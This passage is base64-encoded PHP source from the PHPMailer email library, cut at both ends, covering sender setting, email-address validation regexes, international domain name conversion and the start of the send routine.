CAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0RnJvbSgkYWRkcmVzcywgJG5hbWUgPSAnJywgJGF1dG8gPSB0cnVlKQogICAgewogICAgICAgICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7CiAgICAgICAgJG5hbWUgPSB0cmltKHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRuYW1lKSk7IC8vU3RyaXAgYnJlYWtzIGFuZCB0cmltCiAgICAgICAgLy8gRG9uJ3QgdmFsaWRhdGUgbm93IGFkZHJlc3NlcyB3aXRoIElETi4gV2lsbCBiZSBkb25lIGluIHNlbmQoKS4KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2Ugb3IKICAgICAgICAgICAgKCEkdGhpcy0+aGFzOGJpdENoYXJzKHN1YnN0cigkYWRkcmVzcywgKyskcG9zKSkgb3IgISR0aGlzLT5pZG5TdXBwb3J0ZWQoKSkgYW5kCiAgICAgICAgICAgICEkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICIgKHNldEZyb20pICRhZGRyZXNzIjsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+RnJvbSA9ICRhZGRyZXNzOwogICAgICAgICR0aGlzLT5Gcm9tTmFtZSA9ICRuYW1lOwogICAgICAgIGlmICgkYXV0bykgewogICAgICAgICAgICBpZiAoZW1wdHkoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5TZW5kZXIgPSAkYWRkcmVzczsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgb2YgdGhlIGxhc3QgZW1haWwuCiAgICAgKiBUZWNobmljYWxseSB0aGlzIGlzIHRoZSB2YWx1ZSBmcm9tIHRoZSBsYXN0IHRpbWUgdGhlIGhlYWRlcnMgd2VyZSBjcmVhdGVkLAogICAgICogYnV0IGl0J3MgYWxzbyB0aGUgbWVzc2FnZSBJRCBvZiB0aGUgbGFzdCBzZW50IG1lc3NhZ2UgZXhjZXB0IGluCiAgICAgKiBwYXRob2xvZ2ljYWwgY2FzZXMuCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0TGFzdE1lc3NhZ2VJRCgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5sYXN0TWVzc2FnZUlEOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgdGhhdCBhIHN0cmluZyBsb29rcyBsaWtlIGFuIGVtYWlsIGFkZHJlc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIGNoZWNrCiAgICAgKiBAcGFyYW0gc3RyaW5nfGNhbGxhYmxlICRwYXR0ZXJuc2VsZWN0IEEgc2VsZWN0b3IgZm9yIHRoZSB2YWxpZGF0aW9uIHBhdHRlcm4gdG8gdXNlIDoKICAgICAqICogYGF1dG9gIFBpY2sgYmVzdCBwYXR0ZXJuIGF1dG9tYXRpY2FsbHk7CiAgICAgKiAqIGBwY3JlOGAgVXNlIHRoZSBzcXVpbG9vcGxlLmNvbSBwYXR0ZXJuLCByZXF1aXJlcyBQQ1JFID4gOC4wLCBQSFAgPj0gNS4zLjIsIDUuMi4xNDsKICAgICAqICogYHBjcmVgIFVzZSBvbGQgUENSRSBpbXBsZW1lbnRhdGlvbjsKICAgICAqICogYHBocGAgVXNlIFBIUCBidWlsdC1pbiBGSUxURVJfVkFMSURBVEVfRU1BSUw7CiAgICAgKiAqIGBodG1sNWAgVXNlIHRoZSBwYXR0ZXJuIGdpdmVuIGJ5IHRoZSBIVE1MNSBzcGVjIGZvciAnZW1haWwnIHR5cGUgZm9ybSBpbnB1dCBlbGVtZW50cy4KICAgICAqICogYG5vcmVnZXhgIERvbid0IHVzZSBhIHJlZ2V4OiBzdXBlciBmYXN0LCByZWFsbHkgZHVtYi4KICAgICAqIEFsdGVybmF0aXZlbHkgeW91IG1heSBwYXNzIGluIGEgY2FsbGFibGUgdG8gaW5qZWN0IHlvdXIgb3duIHZhbGlkYXRvciwgZm9yIGV4YW1wbGU6CiAgICAgKiBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygndXNlckBleGFtcGxlLmNvbScsIGZ1bmN0aW9uKCRhZGRyZXNzKSB7CiAgICAgKiAgICAgcmV0dXJuIChzdHJwb3MoJGFkZHJlc3MsICdAJykgIT09IGZhbHNlKTsKICAgICAqIH0pOwogICAgICogWW91IGNhbiBhbHNvIHNldCB0aGUgUEhQTWFpbGVyOjokdmFsaWRhdG9yIHN0YXRpYyB0byBhIGNhbGxhYmxlLCBhbGxvd2luZyBidWlsdC1pbiBtZXRob2RzIHRvIHVzZSB5b3VyIHZhbGlkYXRvci4KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQHN0YXRpYwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiB2YWxpZGF0ZUFkZHJlc3MoJGFkZHJlc3MsICRwYXR0ZXJuc2VsZWN0ID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoaXNfbnVsbCgkcGF0dGVybnNlbGVjdCkpIHsKICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSBzZWxmOjokdmFsaWRhdG9yOwogICAgICAgIH0KICAgICAgICBpZiAoaXNfY2FsbGFibGUoJHBhdHRlcm5zZWxlY3QpKSB7CiAgICAgICAgICAgIHJldHVybiBjYWxsX3VzZXJfZnVuYygkcGF0dGVybnNlbGVjdCwgJGFkZHJlc3MpOwogICAgICAgIH0KICAgICAgICAvL1JlamVjdCBsaW5lIGJyZWFrcyBpbiBhZGRyZXNzZXM7IGl0J3MgdmFsaWQgUkZDNTMyMiwgYnV0IG5vdCBSRkM1MzIxCiAgICAgICAgaWYgKHN0cnBvcygkYWRkcmVzcywgIlxuIikgIT09IGZhbHNlIG9yIHN0cnBvcygkYWRkcmVzcywgIlxyIikgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCEkcGF0dGVybnNlbGVjdCBvciAkcGF0dGVybnNlbGVjdCA9PSAnYXV0bycpIHsKICAgICAgICAgICAgLy9DaGVjayB0aGlzIGNvbnN0YW50IGZpcnN0IHNvIGl0IHdvcmtzIHdoZW4gZXh0ZW5zaW9uX2xvYWRlZCgpIGlzIGRpc2FibGVkIGJ5IHNhZmUgbW9kZQogICAgICAgICAgICAvL0NvbnN0YW50IHdhcyBhZGRlZCBpbiBQSFAgNS4yLjQKICAgICAgICAgICAgaWYgKGRlZmluZWQoJ1BDUkVfVkVSU0lPTicpKSB7CiAgICAgICAgICAgICAgICAvL1RoaXMgcGF0dGVybiBjYW4gZ2V0IHN0dWNrIGluIGEgcmVjdXJzaXZlIGxvb3AgaW4gUENSRSA8PSA4LjAuMgogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQQ1JFX1ZFUlNJT04sICc4LjAuMycpID49IDApIHsKICAgICAgICAgICAgICAgICAgICAkcGF0dGVybnNlbGVjdCA9ICdwY3JlOCc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BjcmUnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdleHRlbnNpb25fbG9hZGVkJykgYW5kIGV4dGVuc2lvbl9sb2FkZWQoJ3BjcmUnKSkgewogICAgICAgICAgICAgICAgLy9GYWxsIGJhY2sgdG8gb2xkZXIgUENSRQogICAgICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSAncGNyZSc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvL0ZpbHRlcl92YXIgYXBwZWFyZWQgaW4gUEhQIDUuMi4wIGFuZCBkb2VzIG5vdCByZXF1aXJlIHRoZSBQQ1JFIGV4dGVuc2lvbgogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMi4wJykgPj0gMCkgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BocCc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ25vcmVnZXgnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHN3aXRjaCAoJHBhdHRlcm5zZWxlY3QpIHsKICAgICAgICAgICAgY2FzZSAncGNyZTgnOgogICAgICAgICAgICAgICAgLyoqCiAgICAgICAgICAgICAgICAgKiBVc2VzIHRoZSBzYW1lIFJGQzUzMjIgcmVnZXggb24gd2hpY2ggRklMVEVSX1ZBTElEQVRFX0VNQUlMIGlzIGJhc2VkLCBidXQgYWxsb3dzIGRvdGxlc3MgZG9tYWlucy4KICAgICAgICAgICAgICAgICAqIEBsaW5rIGh0dHA6Ly9zcXVpbG9vcGxlLmNvbS8yMDA5LzEyLzIwL2VtYWlsLWFkZHJlc3MtdmFsaWRhdGlvbi8KICAgICAgICAgICAgICAgICAqIEBjb3B5cmlnaHQgMjAwOS0yMDEwIE1pY2hhZWwgUnVzaHRvbgogICAgICAgICAgICAgICAgICogRmVlbCBmcmVlIHRvIHVzZSBhbmQgcmVkaXN0cmlidXRlIHRoaXMgY29kZS4gQnV0IHBsZWFzZSBrZWVwIHRoaXMgY29weXJpZ2h0IG5vdGljZS4KICAgICAgICAgICAgICAgICAqLwogICAgICAgICAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goCiAgICAgICAgICAgICAgICAgICAgJy9eKD8hKD8+KD8xKSI\/KD8+XFxcWyAtfl18W14iXSkiPyg\/MSkpezI1NSx9KSg\/ISg\/Pig\/MSkiPyg\/PlxcXFsgLX5dfFteIl0pIj8oPzEpKXs2NSx9QCknIC4KICAgICAgICAgICAgICAgICAgICAnKCg\/Pig\/Pig\/PigoPz4oPz4oPz5ceDBEXHgwQSk\/W1x0IF0pK3woPz5bXHQgXSpceDBEXHgwQSk\/W1x0IF0rKT8pKFwoKD8+KD8yKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLVwnKi1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4N0ZdfCg\/MykpKSooPzIpXCkpKSsoPzIpKXwoPzIpKT8pJyAuCiAgICAgICAgICAgICAgICAgICAgJyhbISMtXCcqK1wvLTk9P14tfi1dK3wiKD8+KD8yKSg\/PltceDAxLVx4MDhceDBCXHgwQ1x4MEUtISMtXFtcXS1ceDdGXXxcXFxbXHgwMC1ceDdGXSkpKicgLgogICAgICAgICAgICAgICAgICAgICcoPzIpIikoPz4oPzEpXC4oPzEpKD80KSkqKD8xKUAoPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg\/PihbYS16MC05XSg\/PlthLXowLTktXSpbYS16MC05XSk\/KScgLgogICAgICAgICAgICAgICAgICAgICcoPz4oPzEpXC4oPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg\/NSkpezAsMTI2fXxcWyg\/Oig\/PklQdjY6KD8+KFthLWYwLTldezEsNH0pKD8+Oig\/Nikpezd9JyAuCiAgICAgICAgICAgICAgICAgICAgJ3woPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoKD82KSg\/PjooPzYpKXswLDZ9KT86Oig\/Nyk\/KSl8KD8+KD8+SVB2NjooPz4oPzYpKD8+Oig\/NikpezV9OicgLgogICAgICAgICAgICAgICAgICAgICd8KD8hKD86LipbYS1mMC05XTopezYsfSkoPzgpPzo6KD8+KCg\/NikoPz46KD82KSl7MCw0fSk6KT8pKT8oMjVbMC01XXwyWzAtNF1bMC05XXwxWzAtOV17Mn0nIC4KICAgICAgICAgICAgICAgICAgICAnfFsxLTldP1swLTldKSg\/PlwuKD85KSl7M30pKVxdKSg\/MSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ3BjcmUnOgogICAgICAgICAgICAgICAgLy9BbiBvbGRlciByZWdleCB0aGF0IGRvZXNuJ3QgbmVlZCBhIHJlY2VudCBQQ1JFCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL14oPyEoPz4iPyg\/PlxcXFsgLX5dfFteIl0pIj8pezI1NSx9KSg\/ISg\/PiI\/KD8+XFxcWyAtfl18W14iXSkiPyl7NjUsfUApKD8+JyAuCiAgICAgICAgICAgICAgICAgICAgJ1shIy1cJyorXC8tOT0\/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5cLig\/PlshIy1cJyorXC8tOT0\/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKSkqJyAuCiAgICAgICAgICAgICAgICAgICAgJ0AoPz4oPyFbYS16MC05LV17NjQsfSkoPz5bYS16MC05XSg\/PlthLXowLTktXSpbYS16MC05XSk\/KSg\/PlwuKD8hW2EtejAtOS1dezY0LH0pJyAuCiAgICAgICAgICAgICAgICAgICAgJyg\/PlthLXowLTldKD8+W2EtejAtOS1dKlthLXowLTldKT8pKXswLDEyNn18XFsoPzooPz5JUHY2Oig\/Pig\/PlthLWYwLTldezEsNH0pKD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs3fXwoPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNn0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig\/PlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw2fSk\/KSl8KD8+KD8+SVB2NjooPz5bYS1mMC05XXsxLDR9KD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs1fTp8KD8hKD86LipbYS1mMC05XTopezYsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNH0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig\/Pig\/OlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw0fSk6KT8pKT8oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfScgLgogICAgICAgICAgICAgICAgICAgICd8WzEtOV0\/WzAtOV0pKD8+XC4oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfXxbMS05XT9bMC05XSkpezN9KSlcXSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ2h0bWw1JzoKICAgICAgICAgICAgICAgIC8qKgogICAgICAgICAgICAgICAgICogVGhpcyBpcyB0aGUgcGF0dGVybiB1c2VkIGluIHRoZSBIVE1MNSBzcGVjIGZvciB2YWxpZGF0aW9uIG9mICdlbWFpbCcgdHlwZSBmb3JtIGlucHV0IGVsZW1lbnRzLgogICAgICAgICAgICAgICAgICogQGxpbmsgaHR0cDovL3d3dy53aGF0d2cub3JnL3NwZWNzL3dlYi1hcHBzL2N1cnJlbnQtd29yay8jZS1tYWlsLXN0YXRlLSh0eXBlPWVtYWlsKQogICAgICAgICAgICAgICAgICovCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL15bYS16QS1aMC05LiEjJCUmXCcqK1wvPT9eX2B7fH1+LV0rQFthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9JyAuCiAgICAgICAgICAgICAgICAgICAgJ1thLXpBLVowLTldKT8oPzpcLlthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9W2EtekEtWjAtOV0pPykqJC9zRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ25vcmVnZXgnOgogICAgICAgICAgICAgICAgLy9ObyBQQ1JFISBEbyBzb21ldGhpbmcgX3ZlcnlfIGFwcHJveGltYXRlIQogICAgICAgICAgICAgICAgLy9DaGVjayB0aGUgYWRkcmVzcyBpcyAzIGNoYXJzIG9yIGxvbmdlciBhbmQgY29udGFpbnMgYW4gQCB0aGF0J3Mgbm90IHRoZSBmaXJzdCBvciBsYXN0IGNoYXIKICAgICAgICAgICAgICAgIHJldHVybiAoc3RybGVuKCRhZGRyZXNzKSA+PSAzCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSA+PSAxCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSAhPSBzdHJsZW4oJGFkZHJlc3MpIC0gMSk7CiAgICAgICAgICAgIGNhc2UgJ3BocCc6CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pZmlsdGVyX3ZhcigkYWRkcmVzcywgRklMVEVSX1ZBTElEQVRFX0VNQUlMKTsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBUZWxscyB3aGV0aGVyIElETnMgKEludGVybmF0aW9uYWxpemVkIERvbWFpbiBOYW1lcykgYXJlIHN1cHBvcnRlZCBvciBub3QuIFRoaXMgcmVxdWlyZXMgdGhlCiAgICAgKiAiaW50bCIgYW5kICJtYnN0cmluZyIgUEhQIGV4dGVuc2lvbnMuCiAgICAgKiBAcmV0dXJuIGJvb2wgInRydWUiIGlmIHJlcXVpcmVkIGZ1bmN0aW9ucyBmb3IgSUROIHN1cHBvcnQgYXJlIHByZXNlbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlkblN1cHBvcnRlZCgpCiAgICB7CiAgICAgICAgLy8gQFRPRE86IFdyaXRlIG91ciBvd24gImlkbl90b19hc2NpaSIgZnVuY3Rpb24gZm9yIFBIUCA8PSA1LjIuCiAgICAgICAgcmV0dXJuIGZ1bmN0aW9uX2V4aXN0cygnaWRuX3RvX2FzY2lpJykgYW5kIGZ1bmN0aW9uX2V4aXN0cygnbWJfY29udmVydF9lbmNvZGluZycpOwogICAgfQoKICAgIC8qKgogICAgICogQ29udmVydHMgSUROIGluIGdpdmVuIGVtYWlsIGFkZHJlc3MgdG8gaXRzIEFTQ0lJIGZvcm0sIGFsc28ga25vd24gYXMgcHVueWNvZGUsIGlmIHBvc3NpYmxlLgogICAgICogSW1wb3J0YW50OiBBZGRyZXNzIG11c3QgYmUgcGFzc2VkIGluIHNhbWUgZW5jb2RpbmcgYXMgY3VycmVudGx5IHNldCBpbiBQSFBNYWlsZXI6OiRDaGFyU2V0LgogICAgICogVGhpcyBmdW5jdGlvbiBzaWxlbnRseSByZXR1cm5zIHVubW9kaWZpZWQgYWRkcmVzcyBpZjoKICAgICAqIC0gTm8gY29udmVyc2lvbiBpcyBuZWNlc3NhcnkgKGkuZS4gZG9tYWluIG5hbWUgaXMgbm90IGFuIElETiwgb3IgaXMgYWxyZWFkeSBpbiBBU0NJSSBmb3JtKQogICAgICogLSBDb252ZXJzaW9uIHRvIHB1bnljb2RlIGlzIGltcG9zc2libGUgKGUuZy4gcmVxdWlyZWQgUEhQIGZ1bmN0aW9ucyBhcmUgbm90IGF2YWlsYWJsZSkKICAgICAqICAgb3IgZmFpbHMgZm9yIGFueSByZWFzb24gKGUuZy4gZG9tYWluIGhhcyBjaGFyYWN0ZXJzIG5vdCBhbGxvd2VkIGluIGFuIElETikKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokQ2hhclNldAogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBjb252ZXJ0CiAgICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgZW5jb2RlZCBhZGRyZXNzIGluIEFTQ0lJIGZvcm0KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHB1bnllbmNvZGVBZGRyZXNzKCRhZGRyZXNzKQogICAgewogICAgICAgIC8vIFZlcmlmeSB3ZSBoYXZlIHJlcXVpcmVkIGZ1bmN0aW9ucywgQ2hhclNldCwgYW5kIGF0LXNpZ24uCiAgICAgICAgaWYgKCR0aGlzLT5pZG5TdXBwb3J0ZWQoKSBhbmQKICAgICAgICAgICAgIWVtcHR5KCR0aGlzLT5DaGFyU2V0KSBhbmQKICAgICAgICAgICAgKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJGRvbWFpbiA9IHN1YnN0cigkYWRkcmVzcywgKyskcG9zKTsKICAgICAgICAgICAgLy8gVmVyaWZ5IENoYXJTZXQgc3RyaW5nIGlzIGEgdmFsaWQgb25lLCBhbmQgZG9tYWluIHByb3Blcmx5IGVuY29kZWQgaW4gdGhpcyBDaGFyU2V0LgogICAgICAgICAgICBpZiAoJHRoaXMtPmhhczhiaXRDaGFycygkZG9tYWluKSBhbmQgQG1iX2NoZWNrX2VuY29kaW5nKCRkb21haW4sICR0aGlzLT5DaGFyU2V0KSkgewogICAgICAgICAgICAgICAgJGRvbWFpbiA9IG1iX2NvbnZlcnRfZW5jb2RpbmcoJGRvbWFpbiwgJ1VURi04JywgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgaWYgKCgkcHVueWNvZGUgPSBkZWZpbmVkKCdJTlRMX0lETkFfVkFSSUFOVF9VVFM0NicpID8KICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbiwgMCwgSU5UTF9JRE5BX1ZBUklBTlRfVVRTNDYpIDoKICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbikpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBzdWJzdHIoJGFkZHJlc3MsIDAsICRwb3MpIC4gJHB1bnljb2RlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzczsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgYW5kIHNlbmQgaXQuCiAgICAgKiBVc2VzIHRoZSBzZW5kaW5nIG1ldGhvZCBzcGVjaWZpZWQgYnkgJE1haWxlci4KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gZmFsc2Ugb24gZXJyb3IgLSBTZWUgdGhlIEVycm9ySW5mbyBwcm9wZXJ0eSBmb3IgZGV0YWlscyBvZiB0aGUgZXJyb3IuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICBpZiAoISR0aGlzLT5wcmVTZW5kKCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJHRoaXMtPnBvc3RTZW5kKCk7CiAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUHJlcGFyZSBhIG1lc3NhZ2UgZm9yIHNlbmRpbmcuCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBwcmVTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQgPSAwOyAvLyBSZXNldCBlcnJvcnMKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKCiAgICAgICAgICAgIC8vIERlcXVldWUgcmVjaXBpZW50IGFuZCBSZXBseS1UbyBhZGRyZXNzZXMgd2l0aCBJRE4KICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXlfbWVyZ2UoJHRoaXMtPlJlY2lwaWVudHNRdWV1ZSwgJHRoaXMtPlJlcGx5VG9RdWV1ZSkgYXMgJHBhcmFtcykgewogICAgICAgICAgICAgICAgJHBhcmFtc1sxXSA9ICR0aGlzLT5wdW55ZW5jb2RlQWRkcmVzcygkcGFyYW1zWzFdKTsKICAgICAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgoY291bnQoJHRoaXMtPnRvKSArIGNvdW50KCR0aGlzLT5jYykgKyBjb3VudCgkdGhpcy0+YmNjKSkgPCAxKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdwcm92aWRlX2FkZHJlc3MnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFZhbGlkYXRlIEZyb20sIFNlbmRlciwgYW5kIENvbmZpcm1SZWFkaW5nVG8gYWRkcmVzc2VzCiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5KCdGcm9tJywgJ1NlbmRlcicsICdDb25maXJtUmVhZGluZ1RvJykgYXMgJGFkZHJlc3Nfa2luZCkgewogICAgICAgICAgICAgICAgJHRoaXMtPiRhZGRyZXNzX2tpbmQgPSB0cmltKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT4kYWRkcmVzc19raW5kID0gJHRoaXMtPnB1bnllbmNvZGVBZGRyZXNzKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICcgKHB1bnlFbmNvZGUpICcgLiAkdGhpcy0+JGFkZHJlc3Nfa2luZDsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTZXQgd2hldGhlciB0aGUgbWVzc2FnZSBpcyBtdWx0aXBhcnQvYWx0ZXJuYXRpdmUKICAgICAgICAgICAgaWYgKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlJzsKICAg